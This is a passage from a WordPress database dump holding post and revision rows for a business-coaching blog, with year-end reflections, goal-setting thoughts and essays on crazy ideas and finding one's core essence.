schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\n\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\n\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\n\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\n\nThank you all for reading and leaving your comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea to help you create a bigger future. To your inspired success!\n\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-7', '', '', '2012-12-24 14:17:00', '2012-12-24 21:17:00', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-7/', 0, 'revision', '', 0),
(2219, 2, '2012-12-24 14:10:29', '2012-12-24 21:10:29', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\r\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\r\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\r\n\r\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\r\n\r\nEnough of the set up, here’s my reflections on the year past:\r\n\r\n<strong>The things that went well in 2012.</strong>\r\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\r\n\r\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\r\n\r\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\r\n\r\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\r\n\r\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\r\n\r\n• helping the Founders and CEO of a mailing service company reinvent their business as a premier digital printing company in their market.\r\n\r\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\r\n\r\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\r\n\r\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\r\n\r\n• helping the Founding Partners of an information technology consulting firm reinvent their business for their next level of growth.\r\n\r\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\r\n\r\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\r\n\r\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\r\n\r\n<strong>What didn’t go as planned in 2012.</strong>\r\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\r\n\r\n• I still have not completed my goal of writing my book on “doing what matters”.\r\n\r\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\r\n\r\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\r\n\r\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\r\n\r\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\r\n\r\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\r\n\r\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\r\n\r\nThank you for all for reading and leaving the comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea and help you create a bigger future. To your inspired success!\r\n\r\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-5', '', '', '2012-12-24 14:10:29', '2012-12-24 21:10:29', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-5/', 0, 'revision', '', 0),
(2220, 2, '2012-12-24 14:11:29', '2012-12-24 21:11:29', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\r\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\r\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\r\n\r\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\r\n\r\nEnough of the set up, here’s my reflections on the year past:\r\n\r\n<strong>The things that went well in 2012.</strong>\r\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\r\n\r\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\r\n\r\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\r\n\r\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list\r\n\r\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\r\n\r\n• helping the Founders and CEO of a mailing service company reinvent their business as a premier digital printing company in their market.\r\n\r\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\r\n\r\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\r\n\r\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\r\n\r\n• helping the Founding Partners of an information technology consulting firm reinvent their business for their next level of growth.\r\n\r\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\r\n\r\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\r\n\r\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\r\n\r\n<strong>What didn’t go as planned in 2012.</strong>\r\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\r\n\r\n• I still have not completed my goal of writing my book on “doing what matters”.\r\n\r\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\r\n\r\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\r\n\r\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\r\n\r\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\r\n\r\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\r\n\r\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\r\n\r\nThank you for all for reading and leaving the comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea and help you create a bigger future. To your inspired success!\r\n\r\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-6', '', '', '2012-12-24 14:11:29', '2012-12-24 21:11:29', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-6/', 0, 'revision', '', 0);
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(2222, 2, '2012-12-24 14:19:25', '2012-12-24 21:19:25', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\n\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\n\nEnough of the set up, here’s my reflections on the year past:\n\n<strong>The things that went well in 2012.</strong>\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\n\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\n\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\n\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list:\n\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\n\n• helping the Founders and CEO of a mailing service company reinvent their business as a premier digital printing company in their market.\n\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\n\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\n\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\n\n• helping the Founding Partners of an information technology consulting firm reinvent their business for their next level of growth.\n\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\n\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\n\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\n\n<strong>What didn’t go as planned in 2012.</strong>\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\n\n• I still have not completed my goal of writing my book on “doing what matters”.\n\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\n\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\n\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\n\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\n\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\n\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\n\nThank you all for reading and leaving your comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea to help you create a bigger future. To your inspired success!\n\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'inherit', 'open', 'open', '', '2213-revision-8', '', '', '2012-12-24 14:19:25', '2012-12-24 21:19:25', '', 2213, 'http://www.whitehotcenter.com/2012/12/2213-revision-8/', 0, 'revision', '', 0),
(2223, 2, '2013-01-02 13:24:54', '2013-01-02 20:24:54', '<img class="alignnone size-full wp-image-2224" title="2013 Goal Setting Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/01/2013.jpg" alt="" width="495" height="252" />\r\n<h1><span style="color: #808080;">As we enter the New Year, many creative entrepreneurs are planning and making commitments to the goals they want to accomplish in the year ahead. Are your goals carved in stone, or written in sand?</span></h1>\r\nThis year 2013, I will celebrate my 60<sup>th</sup> year! Thirty-five of those years I have been an entrepreneur and self-employed creative professional.  For me, these milestones serve as markers in time on my life’s journey. As a look back over that period of time, it’s hard for me to even imagine. Time seems to move faster with each passing year.\r\n\r\nIt has been nearly five years since the beginning of the “big recession”.  Conditions in many business categories are still tight and cautious. But despite the economy many of my clients find themselves in, they’re making bigger plans and positioning their business for a much bigger future. They believe in their future more than the boundaries and limitations of their current circumstances.\r\n<h2>I love how entrepreneurs use their passion and laser focus on their desired goal and the creative energy they produce to achieve it no matter what. It’s simply awe inspiring!</h2>\r\nSuccess, however you define it, is created first through thinking, then by action.  You think of an idea, instantly it is formed in your imagination, and through focused effort sustained by passion, in time, the idea becomes a real thing. As I have written before, ideas take their own sweet time coming into form. Since most of my good ideas have taken much longer to realize than 12 months in a year, the ritual of annual “goal setting” seems irrelevant.\r\n\r\nWhat seems to work for me each year is to “check in” with myself on the big picture, the general direction, and the momentum and speed of my goals coming into form. I ask myself “is this (goal or set of goals) something I really want to accomplish”? Is it still worth the price of its realization? Am I still pumped on this idea and willing to go “all in” on it?  Is this goal carved in stone or written in sand? I make an annual assessment of my continued commitment to the goals that are as yet un-achieved.\r\n\r\n2013 marks the fifth year pursuing my “new direction” in life. In 2008, I made a decision that I was going to go in another direction personally and professionally. It was a total and complete “do-over” on every level. I set some goals at the beginning of that year towards the achievement of success with this new idea.\r\n\r\nBut alas, the process has been painfully slow–much slower than I ever could imagine. So slow in fact I have at times along the way questioned my own capabilities. So each year, before I commit to following any new goals, I ask myself if the goals unattained are still worthy of pursuit.\r\n\r\nUntil the goal is abandoned or realized, I don’t set any more goals. Here’s what I’ll be passionately working on in my business this year:\r\n\r\n<strong>-  putting priority focus, energy and time toward my health and well-being\r\n-  growing (doubling) the revenue in my management consulting practice\r\n-  conducting two Quantum Leap Workshops on Competitive Advantage\r\n-  complete my book proposal and prepare for a publishing deal\r\n-  building the readership to this blog</strong>\r\n\r\n2013 is shaping up to be an amazing year. I can feel the momentum building! I want to thank you all once again for continuing to follow my work and musings here on the White Hot Center. I hope you find it useful in your own pursuit of your desired success.\r\n\r\n<strong>I wish you inspired success in the coming new year!</strong>', 'Happy New Year 2013: Some thoughts on setting new goals.', 0, '', 'publish', 'open', 'open', '', 'happy-new-year-2013-some-thoughts-on-setting-new-goals', '', '', '2013-01-02 13:24:54', '2013-01-02 20:24:54', '', 0, 'http://www.whitehotcenter.com/?p=2223', 0, 'post', '', 1),
(2224, 2, '2013-01-02 13:13:21', '2013-01-02 20:13:21', '', '2013 Goal Setting Ideas', 0, '', 'inherit', 'open', 'open', '', '2013', '', '', '2013-01-02 13:13:21', '2013-01-02 20:13:21', '', 2223, 'http://www.whitehotcenter.com/wp-content/uploads/2013/01/2013.jpg', 0, 'attachment', 'image/jpeg', 0),
(2225, 2, '2013-01-02 13:16:01', '2013-01-02 20:16:01', '<img class="alignnone size-full wp-image-2224" title="2013 Goal Setting Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/01/2013.jpg" alt="" width="495" height="252" />\n<h1><span style="color: #808080;">As we enter the New Year, many creative entrepreneurs are planning and making commitments to the goals they want to accomplish in the year ahead. Are your goals carved in stone, or written in sand?</span></h1>\nThis year 2013, I will celebrate my 60<sup>th</sup> year! Thirty-five of those years I have been an entrepreneur and self-employed creative professional.  For me, these milestones serve as markers in time on my life’s journey. As a look back over that period of time, it’s hard for me to even imagine. Time seems to move faster with each passing year.\n\nIt has been nearly five years since the beginning of the “big recession”.  Conditions in many business categories are still tight and cautious. But despite the economy many of my clients find themselves in, they’re making bigger plans and positioning their business for a much bigger future. They believe in their future more than the boundaries and limitations of their current circumstances.\n<h2>I love how entrepreneurs use their passion and laser focus on their desired goal and the creative energy they produce to achieve it no matter what. It’s simply awe inspiring!</h2>\nSuccess, however you define it, is created first through thinking, then by action.  You think of an idea, instantly it is formed in your imagination, and through focused effort sustained by passion, in time, the idea becomes a real thing. As I have written before, ideas take their own sweet time coming into form. Since most of my good ideas have taken much longer to realize than 12 months in a year, the ritual of annual “goal setting” seems irrelevant.\n\nWhat seems to work for me each year is to “check in” with myself on the big picture, the general direction, and the momentum and speed of my goals coming into form. I ask myself “is this (goal or set of goals) something I really want to accomplish”? Is it still worth the price of its realization? Am I still pumped on this idea and willing to go “all in” on it?  Is this goal carved in stone or written in sand? I make an annual assessment of my continued commitment to the goals that are as yet un-achieved.\n\n2013 marks the fifth year pursuing my “new direction” in life. In 2008, I made a decision that I was going to go in another direction personally and professionally. It was a total and complete “do-over” on every level. I set some goals at the beginning of that year towards the achievement of success with this new idea.\n\nBut alas, the process has been painfully slow–much slower than I ever could imagine. So slow in fact I have at times along the way questioned my own capabilities. So each year, before I commit to following any new goals, I ask myself if the goals unattained are still worthy of pursuit.\n\nUntil the goal is abandoned or realized, I don’t set any more goals. Here’s what I’ll be passionately working on in my business this year:\n\n<strong>-  putting priority focus, energy and time toward my health and well-being\n-  growing (doubling) the revenue in my management consulting practice\n-  conducting two Quantum Leap Workshops on Competitive Advantage\n-  complete my book proposal and prepare for a publishing deal\n-  building the readership to this blog</strong>\n\n2013 is shaping up to be an amazing year. I can feel the momentum building! I want to thank you all once again for continuing to follow my work and musings here on the White Hot Center. I hope you find it useful in your own pursuit of your desired success.\n\n<strong>I wish you inspired success in the coming new year!</strong>', 'Happy New Year 2013: Some thoughts on setting new goals.', 0, '', 'inherit', 'open', 'open', '', '2223-revision', '', '', '2013-01-02 13:16:01', '2013-01-02 20:16:01', '', 2223, 'http://www.whitehotcenter.com/2013/01/2223-revision/', 0, 'revision', '', 0),
(2226, 2, '2013-01-02 13:20:36', '2013-01-02 20:20:36', '<img class="alignnone size-full wp-image-2224" title="2013 Goal Setting Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/01/2013.jpg" alt="" width="495" height="252" />\n<h1><span style="color: #808080;">As we enter the New Year, many creative entrepreneurs are planning and making commitments to the goals they want to accomplish in the year ahead. Are your goals carved in stone, or written in sand?</span></h1>\nThis year 2013, I will celebrate my 60<sup>th</sup> year! Thirty-five of those years I have been an entrepreneur and self-employed creative professional.  For me, these milestones serve as markers in time on my life’s journey. As a look back over that period of time, it’s hard for me to even imagine. Time seems to move faster with each passing year.\n\nIt has been nearly five years since the beginning of the “big recession”.  Conditions in many business categories are still tight and cautious. But despite the economy many of my clients find themselves in, they’re making bigger plans and positioning their business for a much bigger future. They believe in their future more than the boundaries and limitations of their current circumstances.\n<h2>I love how entrepreneurs use their passion and laser focus on their desired goal and the creative energy they produce to achieve it no matter what. It’s simply awe inspiring!</h2>\nSuccess, however you define it, is created first through thinking, then by action.  You think of an idea, instantly it is formed in your imagination, and through focused effort sustained by passion, in time, the idea becomes a real thing. As I have written before, ideas take their own sweet time coming into form. Since most of my good ideas have taken much longer to realize than 12 months in a year, the ritual of annual “goal setting” seems irrelevant.\n\nWhat seems to work for me each year is to “check in” with myself on the big picture, the general direction, and the momentum and speed of my goals coming into form. I ask myself “is this (goal or set of goals) something I really want to accomplish”? Is it still worth the price of its realization? Am I still pumped on this idea and willing to go “all in” on it?  Is this goal carved in stone or written in sand? I make an annual assessment of my continued commitment to the goals that are as yet un-achieved.\n\n2013 marks the fifth year pursuing my “new direction” in life. In 2008, I made a decision that I was going to go in another direction personally and professionally. It was a total and complete “do-over” on every level. I set some goals at the beginning of that year towards the achievement of success with this new idea.\n\nBut alas, the process has been painfully slow–much slower than I ever could imagine. So slow in fact I have at times along the way questioned my own capabilities. So each year, before I commit to following any new goals, I ask myself if the goals unattained are still worthy of pursuit.\n\nUntil the goal is abandoned or realized, I don’t set any more goals. Here’s what I’ll be passionately working on in my business this year:\n\n<strong>-  putting priority focus, energy and time toward my health and well-being\n-  growing (doubling) the revenue in my management consulting practice\n-  conducting two Quantum Leap Workshops on Competitive Advantage\n-  complete my book proposal and prepare for a publishing deal\n-  building the readership to this blog</strong>\n\n2013 is shaping up to be an amazing year. I can feel the momentum building! I want to thank you all once again for continuing to follow my work and musings here on the White Hot Center. I hope you find it useful in your own pursuit of your desired success.\n\n<strong>I wish you inspired success in the coming new year!</strong>', 'Happy New Year 2013: Some thoughts on setting new goals.', 0, '', 'inherit', 'open', 'open', '', '2223-revision-2', '', '', '2013-01-02 13:20:36', '2013-01-02 20:20:36', '', 2223, 'http://www.whitehotcenter.com/2013/01/2223-revision-2/', 0, 'revision', '', 0),
(2240, 2, '2013-03-27 15:43:17', '2013-03-27 22:43:17', '<img class="alignnone size-full wp-image-2244" title="The Power of Crazy Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/03/crazy-idea1.jpg" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.</span></h1>\r\nEverything that ever was, is now, and ever will be is at first a formless thought seed in the creative mind. Many of the products we can’t live without today started out as crazy ideas– automobiles, airplanes, personal computing, digital entertainment, smartphones, the internet and social media – stuff nobody needed or was asking for, but once realized, was just the thing they we’re waiting for.\r\n\r\nAll the stuff that has changed how we live in the world begins as formless crazy ideas.\r\n\r\nCrazy ideas are always more richly embedded with game changing opportunity than safe ideas. A safe idea is the one you can “prove will work” before it takes form in the world.\r\n<h3><strong>Crazy ideas are like ancient fire– feared until proven useful.</strong></h3>\r\nAs early humans, we learned and adapted within the context of our surroundings. When humans first learned that fire makes life easier (like cooking meat and keeping warm) the idea of fire was eagerly embraced as necessary for survival. I’ll bet before people figured out the “use value” of fire, it probably was a very frightening thing to experience–consequently something one should avoid. Crazy ideas are like that.\r\n\r\nThe music industry fought tooth and nail to avoid the crazy idea of digitally produced, reproduced and distributed music. Looking back, it’s hard to imagine the folly of their resistance to this crazy idea. But they did for nearly a decade at great harm to their shareholders. Consumers weren’t demanding the crazy idea of digital music be created out of their unmet need for digital music.  Yet once its use value was realized, the crazy idea changed an industry and the world.\r\n\r\nThe same is true for more commonplace crazy ideas like the Swiffer, which changed how people clean their homes.  Netflix which destroyed its established brick and mortar video rental competitors.  Even Digiorrno Pizza, which elevated the idea of frozen pizza to freshly delivered pizza status.  Nobody was asking for these crazy ideas, yet each one proved massively successful.\r\n<h3><strong>Crazy ideas propose new meanings and create competitive advantage.</strong></h3>\r\nIn a me-too world of abundant choice, it’s far better to create new value (propose new meanings) than compete for the value created by others. If your in a business with lots of competitiors, you might want to be thinking about a crazy idea that will create a new meaning around your business that will put it in a league all its own.\r\n\r\nThat’s exactly what Swatch did.\r\n\r\nWhen their bigger competitors Seiko and Casio were closely monitoring consumer needs for technical precision then inventing quartz technology, Swatch had the crazy idea that people valued self-expression more and created a new category and untouchable competitive advantage in a class all by themselves for well over 30 years.\r\n<h2>The key ingredient to competitive advantage is to provide people with more “use value” than they have paid in cash value. That takes crazy ideas.</h2>\r\nAlthough you could buy a high-quality, precision quartz watch from Casio for under $50, it didn’t provide the perceived use value of active self- expression available for $100 from Swatch. The correct time was not what Swatch customers valued. The same could be said of the iPhone over the Blackberry. The power of crazy ideas creates new value even when the innovation is not driven by known user needs.\r\n<h3><strong>Two choices: the creative plane or the competitive plane.</strong></h3>\r\nIf your business is to thrive in the new economy driven by crazy ideas, you’ll have to choose between operating from the creative plane or the competitive plane.\r\n\r\nWhen your business operates on the competitive plane, it can only win when somebody else loses. It will only bring products to market that are based in incremental user needs and ever-cheaper prices. It will be forced to compete for low value customers. Crazy ideas that are without form and unproven will be quickly discounted in favor of the known and the proven. The business will be managed based on fear, control, competition and survival.\r\n\r\nOn the other hand, if your business operates on the creative plane, it will have a compelling purpose and reason for being. There will be no shortage of supply or opportunity.  It will develop products that redefine the category, delighting customers with the unexpected, making competition irrelevant. Customers will experience more use value than they pay in cash value–making the price irrelevant. Everyone in your business will be focused on turning possibilities into realities. You will not be hyper focused on counting transactions but will create experiences people love earning trust and advocacy that advertising money can’t buy.\r\n\r\n<strong>Get crazy if you want your business to move up the value chain.</strong>', 'The Power of Crazy Ideas.', 0, '', 'publish', 'open', 'open', '', 'the-power-of-crazy-ideas', '', '', '2013-03-27 15:43:17', '2013-03-27 22:43:17', '', 0, 'http://www.whitehotcenter.com/?p=2240', 0, 'post', '', 0),
(2228, 2, '2013-03-14 16:44:24', '2013-03-14 23:44:24', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”. The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you, who know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary 